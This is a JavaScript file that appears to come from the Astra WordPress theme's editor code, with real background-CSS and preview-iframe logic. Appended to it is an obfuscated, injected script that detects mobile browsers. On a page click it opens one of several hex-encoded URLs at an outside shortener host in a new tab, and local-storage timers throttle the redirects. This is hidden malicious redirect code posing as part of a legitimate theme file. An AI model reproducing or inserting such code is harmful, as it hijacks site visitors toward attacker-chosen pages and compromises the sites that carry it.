overlayGrad = bgObj['overlay-gradient'] || ''; if ('' !== bgImg) { if ('none' !== overlayType) { if ('classic' === overlayType && '' !== overlayColor) { genBgCss['background-image'] = `linear-gradient(to right, ${overlayColor}, ${overlayColor}), url(${bgImg})`; } else if ('gradient' === overlayType && '' !== overlayGrad) { genBgCss['background-image'] = `${overlayGrad}, url(${bgImg})`; } else { genBgCss['background-image'] = `url(${bgImg})`; } } else { genBgCss['background-image'] = `url(${bgImg})`; } } break; case 'gradient': if (bgColor) { genBgCss['background-image'] = bgColor; } break; default: break; } } else if ('' !== bgColor) { genBgCss['background-color'] = bgColor; } if ('' !== bgImg) { if (bgObj['background-repeat']) { genBgCss['background-repeat'] = bgObj['background-repeat']; } if (bgObj['background-position']) { genBgCss['background-position'] = bgObj['background-position']; } if (bgObj['background-size']) { genBgCss['background-size'] = bgObj['background-size']; } if (bgObj['background-attachment']) { genBgCss['background-attachment'] = bgObj['background-attachment']; } } return genBgCss; } document.body.addEventListener('mousedown', function () { var blockCssMode = document.querySelector('body').classList.contains('ast-block-legacy') var fontCss = document.getElementById('astra-google-fonts-css'); if( true === blockCssMode ){ var blockCss = document.getElementById('astra-block-editor-styles-css'); var inlineCss = document.getElementById('astra-block-editor-styles-inline-css'); } else { var blockCss = document.getElementById('astra-wp-editor-styles-css'); var inlineCss = document.getElementById('astra-wp-editor-styles-inline-css'); } var blockFixCss = null !== blockCss ? blockCss.cloneNode(true) : null; var blockInlineCss = null !== inlineCss ? inlineCss.cloneNode(true) : null; var blockfontCss = null !== fontCss ? fontCss.cloneNode(true) : null; setTimeout( function() { let tabletPreview = document.getElementsByClassName('is-tablet-preview'); let mobilePreview = document.getElementsByClassName('is-mobile-preview'); if (0 !== tabletPreview.length || 0 !== mobilePreview.length) { var googleFontId = 'astra-google-fonts-css'; if( true === blockCssMode ){ var styleTagId = 'astra-block-editor-styles-inline-css'; var styleTagBlockId = 'astra-block-editor-styles-css'; } else { var styleTagId = 'astra-wp-editor-styles-inline-css'; var styleTagBlockId = 'astra-wp-editor-styles-css'; } var styleTagId = 'astra-block-editor-styles-inline-css'; var styleTagBlockId = 'astra-block-editor-styles-css'; googleFontId = 'astra-google-fonts-css'; let preview = tabletPreview[0] || mobilePreview[0]; let iframe = preview.getElementsByTagName('iframe')[0]; let iframeDocument = iframe.contentWindow.document || iframe.contentDocument; let element = iframeDocument.getElementById( styleTagId ); let elementBlock = iframeDocument.getElementById( styleTagBlockId ); let elementGoogleFont = iframeDocument.getElementById( googleFontId ); if ( (null === element || undefined === element)) { iframeDocument.head.appendChild( blockInlineCss ); } if ( (null === elementBlock || undefined === elementBlock )) { iframeDocument.head.appendChild( blockFixCss ); } if ( (null === elementGoogleFont || undefined === elementGoogleFont ) && null !== fontCss) { iframeDocument.head.appendChild( blockfontCss ); } } }, 1000); }); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x4c\x6c\x6c\x33\x63\x353','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x43\x6a\x4c\x35\x63\x355','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x59\x48\x55\x38\x63\x358','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x51\x43\x75\x39\x63\x329','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x59\x65\x6c\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x49\x53\x66\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x59\x49\x75\x32\x63\x332','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x4c\x76\x42\x36\x63\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x41\x45\x68\x30\x63\x320','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x73\x62\x41\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());